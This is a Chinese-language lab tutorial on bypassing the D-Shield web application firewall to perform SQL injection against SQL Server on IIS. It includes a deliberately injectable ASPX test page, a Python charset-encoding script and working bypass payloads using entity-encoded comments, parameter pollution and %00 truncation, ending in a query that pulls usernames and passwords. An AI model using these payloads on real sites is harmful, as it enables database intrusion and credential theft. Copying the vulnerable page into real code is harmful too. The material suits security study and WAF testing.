实战 | BypassD盾之SQL注入绕过总结

渗透技巧 2年前 (2021) admin
1,099 0 0

SQLServer特性

空格可以由其它字符替代

select id,contents,time from news where news_id=1unionselect1,2,db_name()fromadmin

  • 位置①

    • 可以利用其它控制字符替换空格:%01~%0F、%11~%1F

    • 可以利用注释符号:/**/、—+a%0d%0a

    • 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1

  • 位置②

    • 可以利用其它控制字符替换空格:%01~%0F、%11~%1F

    • 可以利用注释符号:/**/、—+a%0d%0a

    • 可以利用加号+替换空格:union+select

  • 位置③

    • 可以利用其它控制字符替换空格:%01~%0F、%11~%1F

    • 可以利用注释符号:/**/、—+a%0d%0a

    • 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)

    • 可以利用小括号()替换空格:select(1),2,db_name()

  • 位置④

    • 可以利用其它控制字符替换空格:%01~%0F、%11~%1F

    • 可以利用注释符号:/**/、—+a%0d%0a

    • 可利用其他字符:%80~%FF(需要IIS服务器支持)

  • 位置⑤

    • 可以利用其它控制字符替换空格:%01~%0F、%11~%1F

    • 可以利用注释符号:/**/、—+a%0d%0a

    • 可利用其他字符:%80~%FF(需要IIS服务器支持)

    • 可以利用点号.替换空格:from.users

    • 可以利用中括号[]替换空格:from[users]

实验环境

数据库:SQL Server 2008R2

Web服务器:IIS7.5 CN

WAF:D盾_v2.1.6.1[测试版]

靶场源码如下:index.aspx

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient"  %>
<!DOCTYPE html>
<script runat="server">
    private DataSet resSet=new DataSet();
    protected void Page_Load(object sender, EventArgs e)
    {
        String strconn = "server=.;database=test;uid=sa;pwd=admin";
        string id = Request.Params["id"];
        string sql = string.Format("select * from newss where id={0}", id);
        SqlConnection connection=new SqlConnection(strconn);
        connection.Open();
        SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
        dataAdapter.Fill(resSet);
        DgData.DataSource = resSet.Tables[0];
        DgData.DataBind();
        Response.Write("执行语句:<br>"+sql);
        Response.Write("<br>结果为:");
    }

</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>SQLServer注入测试</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
        <asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC" 
            BorderStyle="None" BorderWidth="1px" CellPadding="4" 
                HeaderStyle-CssClass="head" Width="203px">
            <FooterStyle BackColor="#99CCCC" ForeColor="#003399" />
            <SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" />
            <PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left" 
                Mode="NumericPages" />
            <ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
        </asp:DataGrid>
    
    </div>
    </form>
</body>
</html>

另类字符集编码绕过

绕过原理

HTTP协议兼容性:HTTP Charset的多样性

Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。

常见的服务器与可见编码如下所示:

服务器信息 可用编码 说明
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273 对参数名和参数值进行编码,服务器会对参数名和参数值均进行url解码,需要对等号和& and进行编码(不进行url编码)
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码

实验步骤

我们使用如下脚本来进行编码转换:

import urllib
import sys

params = sys.argv[1]
charset= sys.argv[2]

def paramEncode(params="id=1", charset="IBM037", encodeEqualSign=False, encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if encodeEqualSign:
       equalSign = equalSign.encode(charset)
    if encodeAmpersand:
       ampersand = ampersand.encode(charset)
    params_list = params.split("&")
    for param_pair in params_list:
       param, value = param_pair.split("=")
       if urldecodeInput:
          param = urllib.unquote(param).decode('utf8')
          value = urllib.unquote(value).decode('utf8')
       param = param.encode(charset)
       value = value.encode(charset)
       if urlencodeOutput:
          param = urllib.quote_plus(param)
          value = urllib.quote_plus(value)
       if result:
          result += ampersand
       result += param + equalSign + value
    return result

print(paramEncode(params,charset))

这里我们使用IBM037编码进行测试。

中文版的BurpSuite需要改变一下BurpSuite的字体类型

实战 | BypassD盾之SQL注入绕过总结

image-20211025173724964

然后使用BurpSuite抓包,并发送到Repeater

实战 | BypassD盾之SQL注入绕过总结

image-20211025173902801

修改请求方法为POST

实战 | BypassD盾之SQL注入绕过总结

image-20211025174140120

在Content-Type头中添加charset字段,值为ibm037

Content-Type: application/x-www-form-urlencoded;charset=ibm037

实战 | BypassD盾之SQL注入绕过总结

image-20211025174228156

使用脚本进行编码

python2 encode.py "id=1" IBM037

返回 %89%84=%F1

将请求内容改为%89%84=%F1,并发送

实战 | BypassD盾之SQL注入绕过总结

image-20211025174653394

可以看到正常返回查询数据

接下来就是进行SQL注入了

实战 | BypassD盾之SQL注入绕过总结

image-20211025174846914

成功绕过D盾WAF

D盾清洗数据缺陷+多个规则特性组合绕过

绕过原理

规则缺陷/特性:利用D盾清洗数据的特性

WAF内置多种解码器,经过多次解码以后可能导致绕过。

当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass。

规则缺陷/特性:数据库空格可使用其它字符替代

替代字符可查看SQLServer特性。

规则缺陷/特性:%00时会被认为读取已结束

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留。

规则缺陷/特性:HTTP参数污染

同时提交参数id,会接收所有参数,通过逗号分隔。

实验步骤

抓包,并更改请求方法

实战 | BypassD盾之SQL注入绕过总结

image-20211028161329759

测试D盾清洗数据的特性:

D盾为了防御XSS攻击会对提交的特殊字符进行HTML实体编码,例如提交的数据为<script>

实战 | BypassD盾之SQL注入绕过总结

image-20211028162308251

那么假如我们将提交一个已经实体化编码的数据呢?

实战 | BypassD盾之SQL注入绕过总结

image-20211028163222933

这里并没有将&gt;进行解码,而是将&符进行编码

实战 | BypassD盾之SQL注入绕过总结

image-20211028164318800

我们可以利用这个特性,使用这串字符去绕过某些多个关键字匹配的规则,如:union…select、order…by、/*…*/、’…’ 等

实战 | BypassD盾之SQL注入绕过总结

image-20211028171853112

绕过 and 1=1

注:1.e可以代替空格

id=1.eand/*%26%67%74%3b*/1=1

实战 | BypassD盾之SQL注入绕过总结

image-20211028173512915

绕过 order by

id=1 order/*%26%67%74%3b*/by 2

实战 | BypassD盾之SQL注入绕过总结

image-20211028174034111

绕过 union select

id=-1.eunion--%26%67%74%3b%0aselect NULL,NULL,NULL

实战 | BypassD盾之SQL注入绕过总结

绕过 from

from的绕过这就是一个技术活了,这里是利用到了HPP以及%00截断来进行绕过

id=-1.eunion--%26%67%74%3b%0aselect NULL,username,password/*%26%67%74%3b&id=%00%0d*/from users 

实战 | BypassD盾之SQL注入绕过总结

image-20211028174713969

实战 | BypassD盾之SQL注入绕过总结


推荐阅读:


精华 | SQL注入万能Bypass技巧


Bypass 护卫神SQL注入防御(多姿势) https://www.cnblogs.com/xiaozi/p/9138160.html

干货|各种WAF绕过手法学习

https://blog.csdn.net/zhangge3663/article/details/116394692

Bypass D盾_防火墙(新版)SQL注入防御


点赞,转发,在看


原创作者:Ulysses

内部学员投稿

实战 | BypassD盾之SQL注入绕过总结


原文始发于微信公众号(HACK学习呀):实战 | BypassD盾之SQL注入绕过总结

版权声明:admin 发表于 2021年12月15日 上午12:57。
转载请注明:实战 | BypassD盾之SQL注入绕过总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...